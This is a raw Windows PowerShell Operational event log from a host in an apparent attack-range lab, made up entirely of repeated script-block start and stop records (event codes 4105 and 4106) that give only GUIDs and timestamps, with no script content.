LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028614
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028613
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028608
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028607
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028585
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028583
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028582
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028576
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
